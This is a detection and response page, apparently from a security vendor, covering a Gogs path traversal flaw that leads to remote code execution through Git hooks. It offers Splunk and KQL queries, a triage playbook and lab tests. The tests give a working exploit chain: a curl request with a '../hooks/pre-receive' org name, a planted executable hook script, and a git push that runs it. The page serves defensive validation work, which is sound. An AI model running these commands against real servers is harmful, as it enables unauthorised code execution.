Detect Gogs Path Traversal in Organization Name Leading to RCE via Git Hooks in Splunk
CVE-2026-52813 is a critical path traversal vulnerability (CVSS 10.0) in Gogs versions prior to 0.14.3. An attacker can craft a malicious organization name containing path traversal sequences (e.g., '../') to write arbitrary Git hook files outside the intended repository directory. This allows remote code execution on the Gogs server by placing executable hook scripts in controlled locations. A public PoC is available, making active exploitation likely.
MITRE ATT&CK
SPL Detection Query
index=web OR index=app OR index=os sourcetype IN ("access_combined", "iis", "gogs", "syslog", "WinEventLog:Security")
| eval is_traversal=if(match(uri_path, "\.\.[\/\\]") OR match(uri_query, "\.\.[\/\\]") OR match(uri_path, "%2e%2e") OR match(uri_query, "%2e%2e") OR match(uri_path, "\.\.%2[Ff]") OR match(uri_query, "\.\.%2[Ff]"), 1, 0)
| eval is_gogs_org=if(match(uri_path, "(?i)(org|organization)") OR match(uri_path, "/api/v1/orgs"), 1, 0)
| eval is_hook_activity=if(match(message, "(?i)hook") AND match(message, "(?i)\.git"), 1, 0)
| where (is_traversal=1 AND is_gogs_org=1) OR is_hook_activity=1
| eval cve="CVE-2026-52813"
| table _time, host, src_ip, uri_path, uri_query, status, message, cve
| sort -_timeDetects path traversal attempts targeting Gogs organization endpoints and anomalous Git hook file activity indicative of CVE-2026-52813 exploitation.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Vulnerability scanners performing automated path traversal checks against the Gogs instance
- Encoded characters in legitimate organization names that resemble traversal sequences after URL decoding
- Git operations by developers that touch hook files as part of repository management
- Backup or migration scripts that traverse repository directories including .git/hooks
Other platforms for CVE-2026-52813
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Gogs Org Creation with Path Traversal Name (Unauthenticated PoC)
Expected signal: HTTP POST to /api/v1/orgs with path traversal in username field; possible filesystem write to .git/hooks/ outside expected path; Gogs process creating files in unexpected directories
- Test 2Manual Git Hook File Placement via Traversal (Filesystem Simulation)
Expected signal: File creation event for executable file in .git/hooks path; auditd syscall write/chmod events; inotify events if configured on Gogs data directory
- Test 3Verify Gogs Version and Patch Status
Expected signal: HTTP GET requests to Gogs API version endpoint; web scraping of Gogs home page; process execution of gogs binary with --version flag
- Test 4Post-Exploitation: Execute Command via Planted Git Hook
Expected signal: Git push operation triggering hook execution; child process spawned by Gogs with UID of Gogs service; file write to /tmp/rce_proof.txt; network connection from Gogs process if hook establishes reverse shell
Response Playbook
Triage
- Immediately check Gogs server version: run `./gogs --version` or inspect the Gogs admin panel. If version < 0.14.3, assume vulnerable and escalate.
- Review Gogs web access logs for requests to `/org/create`, `/api/v1/orgs`, or similar endpoints containing `../`, `..%2F`, `..%5C`, or encoded variants within the organization name field.
- Search the Gogs data directory (default: `~/gogs-repositories`) for any `.git/hooks/` directories containing unexpected or recently modified executable scripts.
- Check running processes on the Gogs host for any suspicious child processes spawned by the `gogs` binary, which may indicate hook execution.
Containment
- If exploitation is confirmed or strongly suspected, immediately take the Gogs instance offline or block inbound access to the Gogs port (default 3000/10080) at the firewall/load balancer level.
- Revoke all active Gogs sessions and rotate API tokens, SSH keys, and administrative credentials. If the Gogs server has outbound network access, restrict it immediately to prevent data exfiltration or lateral movement.
Evidence Collection
- Preserve a snapshot of the Gogs data directory, including all `.git/hooks/` files with full metadata (timestamps, ownership, content hashes). Collect the Gogs application log (`log/gogs.log`) and web server access logs before any remediation steps.
- Capture a memory dump or at minimum a full process listing (including environment variables) from the Gogs host at time of detection to preserve evidence of any hook execution or injected payloads.
Escalation Criteria
- !Escalate immediately to incident response if any `.git/hooks/` file contains code not authored by a known administrator, or if any hook has been executed (check modification times against access logs).
- !Escalate if the Gogs server shows signs of lateral movement: new user accounts, SSH key additions, outbound connections to unknown IPs, or if the compromised server has access to other internal systems or secrets.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Gogs web access logs showing POST requests to `/org/create` or `/api/v1/orgs` with path traversal sequences in the `org_name` or `name` parameter - >
Filesystem artifacts: newly created or modified files under `.git/hooks/` outside the expected Gogs repositories directory, particularly `pre-receive`, `post-receive`, or `update` scripts with executable bits set - >
Gogs application log entries (`log/gogs.log`) showing organization creation events followed by errors or unexpected Git operations - >
OS-level process execution records (auditd, Windows Event 4688) showing child processes spawned by `gogs` that are not typical Git subprocesses
Tuning Guidance
To reduce false positives, scope HTTP-based detections to requests that both target a Gogs organization endpoint AND contain decoded path traversal sequences (normalize URL encoding before matching). For file-based detections, build a baseline of expected hook files per repository and alert only on deviations. On Linux hosts, auditd rules scoped to the Gogs data directory with a filter on the `gogs` process UID will significantly reduce noise. Consider allowlisting known CI/CD service accounts that legitimately manage Git hooks via the Gogs API.
Hunting Queries
Hunt for Gogs process log entries referencing .git hook paths over the past 7 days, which may indicate hook file creation or execution events related to CVE-2026-52813 exploitation.
Syslog
| where TimeGenerated > ago(7d)
| where ProcessName =~ "gogs" or SyslogMessage has "gogs"
| where SyslogMessage has ".git" and SyslogMessage has "hook"
| summarize count() by bin(TimeGenerated, 1h), Computer, SyslogMessage
| where count_ > 0
| sort by TimeGenerated descindex=os sourcetype=syslog process=gogs earliest=-7d
| where like(message, "%.git%") AND like(message, "%hook%")
| timechart span=1h count by host
| sort -_timeHunt for Windows security audit events showing the Gogs process accessing .git/hooks directories, which would indicate hook file manipulation consistent with CVE-2026-52813 exploitation.
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4663
| where ObjectName has ".git" and ObjectName has "hooks"
| where ProcessName has "gogs"
| project TimeGenerated, Computer, Account, ObjectName, ProcessName, AccessMask
| sort by TimeGenerated descindex=wineventlog EventCode=4663 earliest=-7d
| where like(Object_Name, "%.git%") AND like(Object_Name, "%hooks%")
| where like(Process_Name, "%gogs%")
| table _time, host, Account_Name, Object_Name, Process_Name, Accesses
| sort -_timeAtomic Red Team Tests
Simulates CVE-2026-52813 by creating a Gogs organization with a path traversal sequence in the name field via the API, targeting a vulnerable Gogs instance in a lab environment.
Command
# Requires: vulnerable Gogs < 0.14.3 in lab, valid session token
GOGS_URL="http://localhost:3000"
TOKEN="<lab-api-token>"
curl -s -X POST "${GOGS_URL}/api/v1/orgs" \
-H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username": "../hooks/pre-receive", "full_name": "Test Org", "visibility": "public"}'
# Check if a file was created outside the expected org directory
find /home/git/gogs-repositories -name 'pre-receive' -newer /tmp/before_test 2>/dev/nullCleanup
# Remove any files created by the traversal test
find /home/git/gogs-repositories -name 'pre-receive' -newer /tmp/before_test -delete 2>/dev/null
# Delete the test org if created
curl -s -X DELETE "${GOGS_URL}/api/v1/orgs/test" -H "Authorization: token ${TOKEN}"Expected Telemetry
HTTP POST to /api/v1/orgs with path traversal in username field; possible filesystem write to .git/hooks/ outside expected path; Gogs process creating files in unexpected directories
Expected Detection
KQL/SPL rules fire on HTTP request containing '../' in Gogs org API endpoint; file event rules trigger on hook file creation by Gogs process
Simulates the post-exploitation artifact — a malicious pre-receive hook — by directly placing a file in the path that would result from successful traversal exploitation, to test file-based detections.
Command
# Simulate the artifact left by successful CVE-2026-52813 exploitation
# Replace /path/to/gogs-data with actual Gogs data dir
GOGS_DATA="/home/git/gogs-repositories"
mkdir -p "${GOGS_DATA}/../hooks"
cat > "${GOGS_DATA}/../hooks/pre-receive" << 'EOF'
#!/bin/sh
# Simulated malicious hook - lab only
id > /tmp/rce_proof.txt
EOF
chmod +x "${GOGS_DATA}/../hooks/pre-receive"
echo "Hook file placed. Check /tmp/rce_proof.txt after any Git push to affected repo."Cleanup
rm -f /home/git/gogs-repositories/../hooks/pre-receive /tmp/rce_proof.txt
rmdir /home/git/gogs-repositories/../hooks 2>/dev/null || trueExpected Telemetry
File creation event for executable file in .git/hooks path; auditd syscall write/chmod events; inotify events if configured on Gogs data directory
Expected Detection
File integrity monitoring alerts on new executable in hook directory; SIEM file event rules trigger on hook path outside expected repository structure
Enumerates the Gogs version via the API and web UI to determine if the target instance is running a vulnerable version (< 0.14.3), supporting triage and prioritization.
Command
GOGS_URL="http://localhost:3000"
# Method 1: API version endpoint
curl -s "${GOGS_URL}/api/v1/version" | python3 -m json.tool
# Method 2: Scrape version from web UI footer
curl -s "${GOGS_URL}" | grep -oP 'Gogs v\K[0-9]+\.[0-9]+\.[0-9]+' | head -1
# Method 3: Check binary directly if accessible
which gogs && gogs --version 2>/dev/null || echo "gogs binary not in PATH"Cleanup
# No cleanup required — read-only enumerationExpected Telemetry
HTTP GET requests to Gogs API version endpoint; web scraping of Gogs home page; process execution of gogs binary with --version flag
Expected Detection
May trigger web scanning detection rules if performed from an unexpected source IP; process execution detection if gogs binary is executed by a non-service account
Demonstrates RCE by triggering a Git push to a repository where a malicious pre-receive hook has been planted via path traversal, causing the hook to execute on the Gogs server.
Command
# Prerequisites: hook already planted (see Atomic Test 2), Gogs running, test repo exists
GOGS_URL="http://localhost:3000"
TEST_REPO="testuser/testrepo"
# Clone repo and push to trigger pre-receive hook
cd /tmp
git clone "${GOGS_URL}/${TEST_REPO}" rce_test_repo
cd rce_test_repo
echo "trigger" >> trigger.txt
git add trigger.txt
git commit -m "trigger hook execution"
git push origin main
# Check for RCE evidence
cat /tmp/rce_proof.txt 2>/dev/null && echo "RCE confirmed" || echo "Hook not triggered"Cleanup
rm -rf /tmp/rce_test_repo /tmp/rce_proof.txt
cd /tmpExpected Telemetry
Git push operation triggering hook execution; child process spawned by Gogs with UID of Gogs service; file write to /tmp/rce_proof.txt; network connection from Gogs process if hook establishes reverse shell
Expected Detection
Process execution rules fire on unexpected child process of Gogs; EDR behavioral rules detect Gogs spawning shell interpreter; network detection if hook establishes C2 connection